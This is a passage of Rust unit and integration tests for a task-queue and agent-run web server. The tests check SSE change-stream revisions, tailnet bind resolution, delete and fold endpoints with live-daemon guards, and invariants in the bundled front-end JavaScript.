8669            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8670            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8671            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8672            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8673            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8674        ] {
8675            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8676        }
8677    }
8678
8679    #[test]
8680    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8681        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
8682        // above for the section-focus channel a stats queue tile drives:
8683        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
8684        // through the stale-search-clear recursion into renderQueue(), and
8685        // clear it only once revealQueueSection() is actually about to run -
8686        // the same trap that once silently dropped a task-focus jump.
8687        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8688        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8689        assert!(APP_JS.contains("function revealQueueSection(details)"));
8690        assert!(
8691            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
8692            "renderQueue() must consume both focus channels on every pass"
8693        );
8694        assert!(
8695            APP_JS.contains(
8696                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
8697            ),
8698            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8699             the recursive renderQueue() call has nothing left to reveal"
8700        );
8701        assert!(
8702            APP_JS.contains(
8703                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
8704            ),
8705            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8706        );
8707        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
8708        // task-focus form of the hash - a plain `#queue` navigation only
8709        // flips which view is visible. openQueueSectionFocus() must
8710        // therefore call renderQueue() itself, and applyRoute() too so the
8711        // view flips even when the hash doesn't change (the Backlog may
8712        // already be open when a tile is tapped, firing no hashchange
8713        // event at all).
8714        assert!(
8715            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
8716            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8717             hashchange event that may never fire"
8718        );
8719    }
8720
8721    #[tokio::test]
8722    async fn the_change_stream_announces_the_current_revisions_on_connect() {
8723        let f = Fixture::start().await;
8724
8725        let mut socket = tokio::net::TcpStream::connect(f.addr)
8726            .await
8727            .expect("connect");
8728        socket
8729            .write_all(
8730                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8731            )
8732            .await
8733            .expect("write request");
8734
8735        // Read until the first event arrives rather than to end of stream: the
8736        // stream is endless by design, which is the point of the route.
8737        let mut seen = String::new();
8738        let mut buf = [0u8; 1024];
8739        while !seen.contains("event: change") {
8740            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8741                .await
8742                .expect("the stream must speak within five seconds")
8743                .expect("read");
8744            assert!(read > 0, "the server closed the change stream: {seen}");
8745            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8746        }
8747
8748        assert!(
8749            seen.to_lowercase()
8750                .contains("content-type: text/event-stream"),
8751            "the browser only reconnects automatically for a real SSE stream: {seen}"
8752        );
8753        let data = seen
8754            .lines()
8755            .find_map(|l| l.strip_prefix("data:"))
8756            .expect("a data line");
8757        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8758        assert!(
8759            payload["queue_rev"].is_u64()
8760                && payload["runs_rev"].is_u64()
8761                && payload["questions_rev"].is_u64()
8762                && payload["talks_rev"].is_u64()
8763                && payload["notifications_rev"].is_u64()
8764                && payload["loop_rev"].is_u64(),
8765            "the client needs one revision per store to know what to refetch, \
8766             and `talks_rev` is the only notification a standing talk gets - a \
8767             phone whose radio slept through a turn learns about it here, as \
8768             does one whose operator started the loop from another device: \
8769             {payload}"
8770        );
8771
8772        // The front end re-polls health on a timer and on wake, and takes the
8773        // revisions from that answer whenever the stream is not up. So health
8774        // has to carry every key the stream carries: a phone on a link that
8775        // will not hold an SSE connection is exactly the phone that must still
8776        // notice a question, and a missing key there is not a 500 but a UI
8777        // that quietly stops updating.
8778        let health = f.get("/api/health").await.json();
8779        for key in [
8780            "queue_rev",
8781            "runs_rev",
8782            "questions_rev",
8783            "talks_rev",
8784            "notifications_rev",
8785            "loop_rev",
8786        ] {
8787            assert!(
8788                health[key].is_u64(),
8789                "health is the change stream's fallback and is missing `{key}`: {health}"
8790            );
8791        }
8792    }
8793
8794    #[tokio::test]
8795    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8796        let f = Fixture::start().await;
8797        let before = f.get("/api/health").await.json()["talks_rev"]
8798            .as_u64()
8799            .expect("talks_rev");
8800
8801        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8802        std::thread::sleep(Duration::from_millis(10));
8803        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8804        on_disk.turns.push(crate::talk::Turn {
8805            who: crate::talk::Who::Operator,
8806            body: "a new turn".to_owned(),
8807            at: Timestamp::now(),
8808            attachments: Vec::new(),
8809        });
8810        f.talks().put(&mut on_disk).expect("record a turn");
8811
8812        let after = f.get("/api/health").await.json()["talks_rev"]
8813            .as_u64()
8814            .expect("talks_rev");
8815        assert_ne!(
8816            before, after,
8817            "a phone must be able to notice a talk's reply without polling every store"
8818        );
8819    }
8820
8821    #[test]
8822    fn bind_reads_back_from_the_spelling_the_cli_prints() {
8823        // The CLI shows the default in `--help` and parses whatever comes
8824        // back, so the two directions have to agree or `--bind auto` breaks
8825        // the moment someone copies the help text.
8826        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8827            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8828        }
8829        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8830        assert!("everywhere".parse::<Bind>().is_err());
8831    }
8832
8833    #[test]
8834    fn an_explicit_bind_address_is_taken_verbatim() {
8835        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8836
8837        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8838
8839        assert_eq!(addr, asked);
8840        assert!(
8841            warning.is_none(),
8842            "an operator who named an address gets no lecture"
8843        );
8844    }
8845
8846    #[test]
8847    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8848        let (addr, warning) = resolve_bind(&Bind::Auto);
8849
8850        // This has to hold on a CI runner with no `tailscale` and on a dev box
8851        // with one, so the invariant asserted is the one shared by both
8852        // outcomes: the address is either a real tailnet address offered
8853        // without comment, or loopback with an explanation. What must never
8854        // happen is a silent fallback - an operator told "listening on
8855        // 127.0.0.1" with no reason would go looking for a firewall.
8856        match addr {
8857            IpAddr::V4(ip) if is_tailnet(&ip) => {
8858                assert!(warning.is_none(), "a tailnet address needs no warning");
8859            }
8860            other => {
8861                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8862                let warning = warning.expect("a fallback has to explain itself");
8863                assert!(
8864                    warning.contains("127.0.0.1") && warning.contains("local-only"),
8865                    "the warning says what happened and what it costs: {warning}"
8866                );
8867            }
8868        }
8869    }
8870
8871    #[test]
8872    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8873        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
8874        // boundary cases are what stop us binding to some other tool's idea of
8875        // an address.
8876        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8877        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8878        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8879        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8880        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8881    }
8882
8883    #[test]
8884    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8885        let ids = vec![
8886            "20260902-140501-aaaa".to_owned(),
8887            "20260902-140502-aabb".to_owned(),
8888        ];
8889
8890        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8891        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8892        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8893
8894        assert_eq!(missing.status, StatusCode::NOT_FOUND);
8895        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8896        assert_eq!(short, "20260902-140502-aabb");
8897    }
8898    #[tokio::test]
8899    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8900        // The prompt tells agents to reference attachments by bare filename.
8901        // A document served at `.../panel` resolves `shot.png` against its own
8902        // directory, i.e. `.../shot.png`, which is not the asset route - so a
8903        // panel written exactly as instructed showed broken images. Caught by
8904        // looking at a real one in a browser, not by reading the code.
8905        let fx = Fixture::start().await;
8906        let id = panel(
8907            &fx,
8908            "<img src=\"shot.png\">",
8909            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8910        );
8911
8912        // The frame's own URL ends in a filename, so its siblings are reachable.
8913        let doc = fx
8914            .get(&format!("/api/questions/{id}/panel/index.html"))
8915            .await;
8916        assert_eq!(doc.status, 200, "{}", doc.body);
8917        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8918
8919        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8920        assert_eq!(sibling.status, 200, "{}", sibling.body);
8921        assert_eq!(sibling.header("content-type"), Some("image/png"));
8922        assert_eq!(
8923            sibling.header("content-security-policy"),
8924            Some(PANEL_CSP),
8925            "the sibling route must carry the same policy as the asset route"
8926        );
8927
8928        // The original spelling keeps working: HEAD on it is how the front end
8929        // decides whether to mount a frame at all.
8930        assert_eq!(
8931            fx.head(&format!("/api/questions/{id}/panel")).await.status,
8932            200
8933        );
8934    }
8935
8936    #[test]
8937    fn runs_revision_moves_when_deleting_an_older_run() {
8938        let temp = TempDir::new().expect("tempdir");
8939        let runs = temp.path().join("runs");
8940        std::fs::create_dir_all(&runs).expect("create runs dir");
8941
8942        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8943
8944        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8945        std::thread::sleep(Duration::from_millis(10));
8946        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8947
8948        let rev_before = runs_revision(&runs);
8949        assert!(rev_before > 0);
8950
8951        let old_dir = runs.join("20260901-100000-old1");
8952        std::fs::remove_dir_all(&old_dir).expect("remove old run");
8953
8954        let rev_after = runs_revision(&runs);
8955        assert_ne!(
8956            rev_before, rev_after,
8957            "deleting an older run must change the revision so other clients see the deletion"
8958        );
8959    }
8960
8961    /// A run's own `run.json` on an explicit `runs` root, bypassing the
8962    /// process-global home entirely — `RunState::save` writes through
8963    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
8964    /// (see `tests::home_lock` in the integration suite for why).
8965    fn write_state(runs: &FsPath, state: &RunState) {
8966        let dir = runs.join(&state.id);
8967        std::fs::create_dir_all(&dir).expect("run dir");
8968        std::fs::write(
8969            dir.join("run.json"),
8970            serde_json::to_string_pretty(state).expect("serialize run"),
8971        )
8972        .expect("write run.json");
8973    }
8974
8975    /// A seat starting or finishing is a write to `run.json` like any other,
8976    /// so it moves the same revision the change stream already watches —
8977    /// nothing new for `/api/events` to learn, but the property this feature
8978    /// depends on to reach the phone without a poll.
8979    #[test]
8980    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8981        let temp = TempDir::new().expect("tempdir");
8982        let runs = temp.path().join("runs");
8983        std::fs::create_dir_all(&runs).expect("create runs dir");
8984        let mut state = RunState::new(
8985            PathBuf::from("/repo/magi"),
8986            "main".to_owned(),
8987            "0123456789abcdef".to_owned(),
8988            "task".to_owned(),
8989            Config::default(),
8990        );
8991        state.id = "20260902-100000-c0de".to_owned();
8992        write_state(&runs, &state);
8993
8994        let rev_idle = runs_revision(&runs);
8995        std::thread::sleep(Duration::from_millis(10));
8996        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8997        write_state(&runs, &state);
8998        let rev_started = runs_revision(&runs);
8999        assert_ne!(
9000            rev_idle, rev_started,
9001            "a seat starting must move the revision"
9002        );
9003
9004        std::thread::sleep(Duration::from_millis(10));
9005        state.seat_finished("judge-1");
9006        write_state(&runs, &state);
9007        let rev_finished = runs_revision(&runs);
9008        assert_ne!(
9009            rev_started, rev_finished,
9010            "and clearing it again must move the revision a second time"
9011        );
9012    }
9013
9014    #[tokio::test]
9015    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9016        // `TaskView` flattens `Task`, so this is really asserting that
9017        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
9018        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
9019        // never touched web.rs, so nothing here caught it if it had.
9020        let fx = Fixture::start().await;
9021        let q = fx.queue();
9022
9023        let mut t = Task::new(
9024            "Task".to_owned(),
9025            "Instruction".to_owned(),
9026            PathBuf::from("/repo"),
9027            Source::Human,
9028        );
9029        t.block(
9030            vec!["20260101-000000-dead".to_owned()],
9031            Some("waiting on Task 1".to_owned()),
9032        );
9033        t.answers.push(crate::queue::AnsweredQuestion {
9034            question: "Which backend?".to_owned(),
9035            answer: "SQLite".to_owned(),
9036        });
9037        q.put(&mut t).expect("put t");
9038
9039        let res = fx.get("/api/queue").await;
9040        assert_eq!(res.status, 200);
9041        let list = res.json();
9042        let view = list
9043            .as_array()
9044            .expect("array")
9045            .iter()
9046            .find(|v| v["id"] == t.id)
9047            .expect("task in list");
9048        assert_eq!(view["status_str"], "blocked");
9049        assert_eq!(
9050            view["blocked_by"],
9051            serde_json::json!(["20260101-000000-dead"])
9052        );
9053        assert_eq!(view["block_reason"], "waiting on Task 1");
9054        assert_eq!(view["answers"][0]["question"], "Which backend?");
9055        assert_eq!(view["answers"][0]["answer"], "SQLite");
9056
9057        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
9058        // but never `answers` - that is a settled decision, not state
9059        // describing the current block, so it survives.
9060        let res = fx
9061            .post(&format!("/api/queue/{}/hold", t.short()), None)
9062            .await;
9063        assert_eq!(res.status, 200);
9064        let held = res.json();
9065        assert_eq!(held["status_str"], "held");
9066        assert_eq!(held["blocked_by"], serde_json::json!([]));
9067        assert!(held["block_reason"].is_null());
9068        assert_eq!(held["answers"][0]["answer"], "SQLite");
9069    }
9070
9071    #[tokio::test]
9072    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9073        let fx = Fixture::start().await;
9074        let q = fx.queue();
9075        let mk = |title: &str| {
9076            Task::new(
9077                title.to_owned(),
9078                "Instruction".to_owned(),
9079                PathBuf::from("/repo"),
9080                Source::Human,
9081            )
9082        };
9083        let mut root = mk("root");
9084        root.hold_manual(Some("waiting".to_owned()));
9085        q.put(&mut root).unwrap();
9086        let mut mid = mk("mid");
9087        mid.block(vec![root.id.clone()], None);
9088        q.put(&mut mid).unwrap();
9089        let mut leaf = mk("leaf");
9090        leaf.block(vec![mid.id.clone()], None);
9091        q.put(&mut leaf).unwrap();
9092
9093        let list = fx.get("/api/queue").await.json();
9094        let find = |id: &str| {
9095            list.as_array()
9096                .unwrap()
9097                .iter()
9098                .find(|v| v["id"] == id)
9099                .unwrap()
9100                .clone()
9101        };
9102        let leaf_view = find(&leaf.id);
9103        assert_eq!(
9104            leaf_view["waits_on"],
9105            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9106        );
9107        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9108        assert_eq!(
9109            find(&mid.id)["waits_on"],
9110            serde_json::json!([format!("{} (held)", root.short())])
9111        );
9112        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9113    }
9114
9115    #[tokio::test]
9116    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9117        let fx = Fixture::start().await;
9118        let q = fx.queue();
9119
9120        // 1. A queued task with runs attached can be deleted.
9121        let mut t1 = Task::new(
9122            "Task 1".to_owned(),
9123            "Instruction 1".to_owned(),
9124            PathBuf::from("/repo"),
9125            Source::Human,
9126        );
9127        let run_id = "20260901-000000-r111";
9128        t1.runs.push(run_id.to_owned());
9129        write_run(&fx.runs(), run_id, RunStatus::Merged);
9130        q.put(&mut t1).expect("put t1");
9131
9132        // Delete by short id
9133        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9134        assert_eq!(res.status, 204);
9135        assert!(res.body.is_empty(), "204 No Content has no body");
9136        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9137        assert!(
9138            fx.runs().join(run_id).exists(),
9139            "run directory must not be deleted when its task is deleted"
9140        );
9141
9142        // 2. A task a live daemon is running is refused with 409.
9143        let mut t2 = Task::new(
9144            "Task 2".to_owned(),
9145            "Instruction 2".to_owned(),
9146            PathBuf::from("/repo"),
9147            Source::Human,
9148        );
9149        t2.status = TaskStatus::Running;
9150        q.put(&mut t2).expect("put t2");
9151        let mut beat = crate::daemon::Status::new();
9152        beat.current = vec![crate::daemon::Current {
9153            task: t2.id.clone(),
9154            run: "20260901-000000-r222".to_owned(),
9155        }];
9156        beat.updated_at = jiff::Timestamp::now();
9157        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9158            .expect("publish a heartbeat");
9159        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9160        assert_eq!(res.status, 409);
9161        assert!(
9162            res.json()["error"]
9163                .as_str()
9164                .unwrap()
9165                .contains("live daemon")
9166        );
9167        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9168
9169        // 3. The same `running` status and an orphaned lock, with no daemon
9170        // behind either, is a leftover and deletable. Before this the phone
9171        // refused it for good: the status never changes on its own and
9172        // nothing drops a lock whose process is gone.
9173        // The daemon is killed: the file stays, the heartbeat stops.
9174        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9175        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9176            .expect("leave a stale heartbeat");
9177        let mut t3 = Task::new(
9178            "Task 3".to_owned(),
9179            "Instruction 3".to_owned(),
9180            PathBuf::from("/repo"),
9181            Source::Human,
9182        );
9183        t3.status = TaskStatus::Running;
9184        q.put(&mut t3).expect("put t3");
9185        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9186        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9187        assert_eq!(res.status, 204);
9188        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9189        assert!(
9190            q.claim(&t3.id).is_ok(),
9191            "the stale lock went with it, so the id is claimable again"
9192        );
9193
9194        // 4. Missing id returns 404
9195        let res = fx.delete("/api/queue/nonexistent").await;
9196        assert_eq!(res.status, 404);
9197    }
9198
9199    #[tokio::test]
9200    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9201        let fx = Fixture::start().await;
9202        let runs = fx.runs();
9203
9204        // 1. Finished and folded run can be deleted along with artifacts
9205        let run_id = "20260901-000000-fold";
9206        let mut state = RunState::new(
9207            PathBuf::from("/repo"),
9208            "main".to_owned(),
9209            "abc".to_owned(),
9210            "instruction".to_owned(),
9211            Config::default(),
9212        );
9213        state.id = run_id.to_owned();
9214        state.status = RunStatus::Merged;
9215        state.candidates.push(crate::run::Candidate {
9216            index: 0,
9217            label: 'A',
9218            agent: "a".to_owned(),
9219            branch: "b".to_owned(),
9220            worktree: PathBuf::from("/w"),
9221            summary: String::new(),
9222            stat: String::new(),
9223            files: 1,
9224            commits: 1,
9225            empty: false,
9226            failed: None,
9227            verified_noop: None,
9228            duration_ms: 0,
9229            folded: true,
9230        });
9231        let dir = runs.join(run_id);
9232        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9233        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9234            .expect("write artifact");
9235        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9236            .expect("write run.json");
9237
9238        // Delete by short id
9239        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9240        assert_eq!(res.status, 204);
9241        assert!(res.body.is_empty(), "204 has no body");
9242        assert!(!dir.exists(), "run directory and artifacts must be deleted");
9243
9244        // 2. A run a live daemon is working on is refused with 409. The
9245        // heartbeat is what makes it refusable: an unfinished run with no
9246        // daemon behind it is a leftover from a killed process, and case 1
9247        // above would otherwise be impossible to tell apart from this one.
9248        let run_running = "20260901-000000-rung";
9249        write_run(&runs, run_running, RunStatus::Prep);
9250        let mut beat = crate::daemon::Status::new();
9251        beat.current = vec![crate::daemon::Current {
9252            task: "20260901-000000-task".to_owned(),
9253            run: run_running.to_owned(),
9254        }];
9255        beat.updated_at = jiff::Timestamp::now();
9256        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9257            .expect("publish a heartbeat");
9258        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9259        assert_eq!(res.status, 409);
9260        assert!(
9261            res.json()["error"]
9262                .as_str()
9263                .unwrap()
9264                .contains("live daemon"),
9265            "the refusal must say who is holding it"
9266        );
9267        assert!(
9268            runs.join(run_running).exists(),
9269            "a run in flight keeps its directory"
9270        );
9271
9272        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
9273        let run_unfolded = "20260901-000000-unfd";
9274        let mut state2 = RunState::new(
9275            PathBuf::from("/repo"),
9276            "main".to_owned(),
9277            "abc".to_owned(),
9278            "instruction".to_owned(),
9279            Config::default(),
9280        );
9281        state2.id = run_unfolded.to_owned();
9282        state2.status = RunStatus::Ready;
9283        state2.candidates.push(crate::run::Candidate {
9284            index: 0,
9285            label: 'A',
9286            agent: "a".to_owned(),
9287            branch: "b".to_owned(),
9288            worktree: PathBuf::from("/w"),
9289            summary: String::new(),
9290            stat: String::new(),
9291            files: 1,
9292            commits: 1,
9293            empty: false,
9294            failed: None,
9295            verified_noop: None,
9296            duration_ms: 0,
9297            folded: false,
9298        });
9299        let dir2 = runs.join(run_unfolded);
9300        std::fs::create_dir_all(&dir2).expect("create dir2");
9301        std::fs::write(
9302            dir2.join("run.json"),
9303            serde_json::to_string(&state2).unwrap(),
9304        )
9305        .expect("write run.json");
9306
9307        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9308        assert_eq!(res.status, 409);
9309        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9310        assert!(dir2.exists(), "unfolded run directory is kept");
9311
9312        // 4. Missing id returns 404
9313        let res = fx.delete("/api/runs/nonexistent").await;
9314        assert_eq!(res.status, 404);
9315    }
9316
9317    /// The queue tiles on the Stats tab must render even on a home with no
9318    /// runs at all: queue state is not derived from run history, so hiding
9319    /// the whole dashboard body behind "no runs yet" would drop the one
9320    /// thing this tab promises unconditionally (queued/running/held/done).
9321    /// A DOM-level test would need a browser this suite does not have, so
9322    /// this pins the same invariant textually: `renderStatsQueue` is called
9323    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
9324    /// block that gates the run-derived panels.
9325    #[test]
9326    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9327        let start = APP_JS
9328            .find("function renderStats() {")
9329            .expect("renderStats");
9330        let end = start
9331            + APP_JS[start..]
9332                .find("function statsTile(")
9333                .expect("the next top-level function");
9334        let body = &APP_JS[start..end];
9335
9336        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9337        let gate_end = gate_start
9338            + body[gate_start..]
9339                .find("}\n  renderStatsQueue")
9340                .expect("the gate's own closing brace, right before the unconditional call");
9341        let gated = &body[gate_start..gate_end];
9342
9343        assert_eq!(
9344            body.matches("renderStatsQueue(").count(),
9345            1,
9346            "renderStats must call renderStatsQueue exactly once: {body}"
9347        );
9348        assert!(
9349            !gated.contains("renderStatsQueue"),
9350            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9351             run-derived panels on an empty run history - the queue panel has to render \
9352             regardless: {gated}"
9353        );
9354    }
9355
9356    #[test]
9357    fn web_ui_delete_contract_in_front_end() {
9358        // 1. API block has both delete endpoints
9359        assert!(APP_JS.contains("deleteRun:"));
9360        assert!(APP_JS.contains("deleteTask:"));
9361
9362        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
9363        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9364            ..APP_JS.find("function renderRuns").unwrap()];
9365        assert!(!run_cards_slice.to_lowercase().contains("delete"));
9366
9367        // 3. Run detail has delete entry and reasons
9368        assert!(APP_JS.contains("renderRunDelete"));
9369        assert!(APP_JS.contains("runDeleteReason"));
9370        assert!(APP_JS.contains("magi fold"));
9371        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9372
9373        // 4. Two-step delete arming and focus on Cancel
9374        assert!(APP_JS.contains("cancel.focus"));
9375        assert!(APP_JS.contains("armedRunDelete"));
9376        assert!(APP_JS.contains("armedDelete"));
9377
9378        // 5. Running task has disabled delete
9379        assert!(APP_JS.contains("disabled: status === \"running\""));
9380    }
9381
9382    /// Every element a run card's updater reaches for must be in the `refs`
9383    /// the builder handed it.
9384    ///
9385    /// `createRunCard` builds its elements, appends them to the card, and then
9386    /// lists them again in `row.refs`. That second list is the one the updater
9387    /// uses, and nothing connects the two - an element can be built, appended
9388    /// and rendered, and still be missing from `refs`. `superseded` was, for
9389    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
9390    /// exception took `syncList` with it, and the deck showed
9391    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
9392    /// line is computed before the cards, which is why the failure looked like
9393    /// a server that had lost its runs rather than a front end that had
9394    /// stopped rendering them.
9395    ///
9396    /// A `cargo test` cannot execute the front end, so this reads the two
9397    /// halves out of the source and compares them as sets. It is not a check
9398    /// on the wording of either list: adding an element, renaming one, or
9399    /// reordering them all keeps this passing, and only using one the builder
9400    /// never published fails it.
9401    #[test]
9402    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9403        let build = APP_JS
9404            .find("function createRunCard")
9405            .expect("createRunCard exists");
9406        let update = APP_JS
9407            .find("function updateRunCard")
9408            .expect("updateRunCard exists");
9409        let end = APP_JS
9410            .find("function renderRuns")
9411            .expect("renderRuns exists");
9412
9413        // The builder's published set: the object literal assigned to `refs`.
9414        let builder = &APP_JS[build..update];
9415        let open = builder.find("refs = {").expect("createRunCard sets refs");
9416        let literal = &builder[open + "refs = {".len()..];
9417        let close = literal.find('}').expect("the refs literal is closed");
9418        let published: HashSet<&str> = literal[..close]
9419            .split(',')
9420            // `name` and `name: value` both bind `name`.
9421            .filter_map(|entry| entry.split(':').next())
9422            .map(str::trim)
9423            .filter(|name| !name.is_empty())
9424            .collect();
9425        assert!(
9426            published.len() > 5,
9427            "the refs literal did not parse into names: {published:?}"
9428        );
9429
9430        // What the updaters reach for: every `r.<name>`, where `r` is the
9431        // `const r = row.refs` alias both functions open with.
9432        let mut used: Vec<&str> = Vec::new();
9433        let updaters = &APP_JS[update..end];
9434        for (at, _) in updaters.match_indices("r.") {
9435            // `r` must be the whole identifier, not the tail of another one
9436            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
9437            let before = updaters[..at].chars().next_back();
9438            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9439                continue;
9440            }
9441            let rest = &updaters[at + 2..];
9442            let len = rest
9443                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9444                .unwrap_or(rest.len());
9445            if len > 0 {
9446                used.push(&rest[..len]);
9447            }
9448        }
9449        assert!(
9450            used.len() > 5,
9451            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9452        );
9453
9454        let missing: Vec<&str> = used
9455            .iter()
9456            .copied()
9457            .filter(|name| !published.contains(name))
9458            .collect();
9459        assert!(
9460            missing.is_empty(),
9461            "a run card's updater reaches for {missing:?}, which `createRunCard` \
9462             never put in `refs` - every card will throw and the list will \
9463             render empty under a count line that says otherwise. Published: \
9464             {published:?}"
9465        );
9466    }
9467
9468    #[tokio::test]
9469    async fn folding_from_the_phone_reports_what_it_removed() {
9470        let fx = Fixture::start().await;
9471        let runs = fx.runs();
9472
9473        // A run with no candidates has nothing to fold, which is a 200 with an
9474        // honest count rather than an error: the operator asked for the trees
9475        // to be gone and they are.
9476        let id = "20260901-000000-fold";
9477        write_run(&runs, id, RunStatus::Stalled);
9478        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9479        assert_eq!(res.status, 200);
9480        assert_eq!(res.json()["removed_count"], 0);
9481        assert_eq!(res.json()["run"], id);
9482        assert!(
9483            runs.join(id).exists(),
9484            "a fold keeps the run's record; only the worktrees go"
9485        );
9486    }
9487
9488    #[tokio::test]
9489    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9490        let fx = Fixture::start().await;
9491        let runs = fx.runs();
9492        let wt = fx.home.path().join("wt").join("magi").join("dead");
9493        let id = "20260901-000000-dead";
9494        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9495        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9496        std::fs::create_dir_all(&wt).expect("worktree dir");
9497
9498        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9499        assert_eq!(res.status, 200, "{}", res.body);
9500        assert!(
9501            res.json()["removed_count"].as_u64().unwrap() > 0,
9502            "the worktree this build could not read a state for still went"
9503        );
9504        assert!(
9505            !runs.join(id).exists(),
9506            "an unreadable run has no candidate list to fold selectively, so \
9507             the whole record goes - same as `magi fold` on the CLI"
9508        );
9509    }
9510
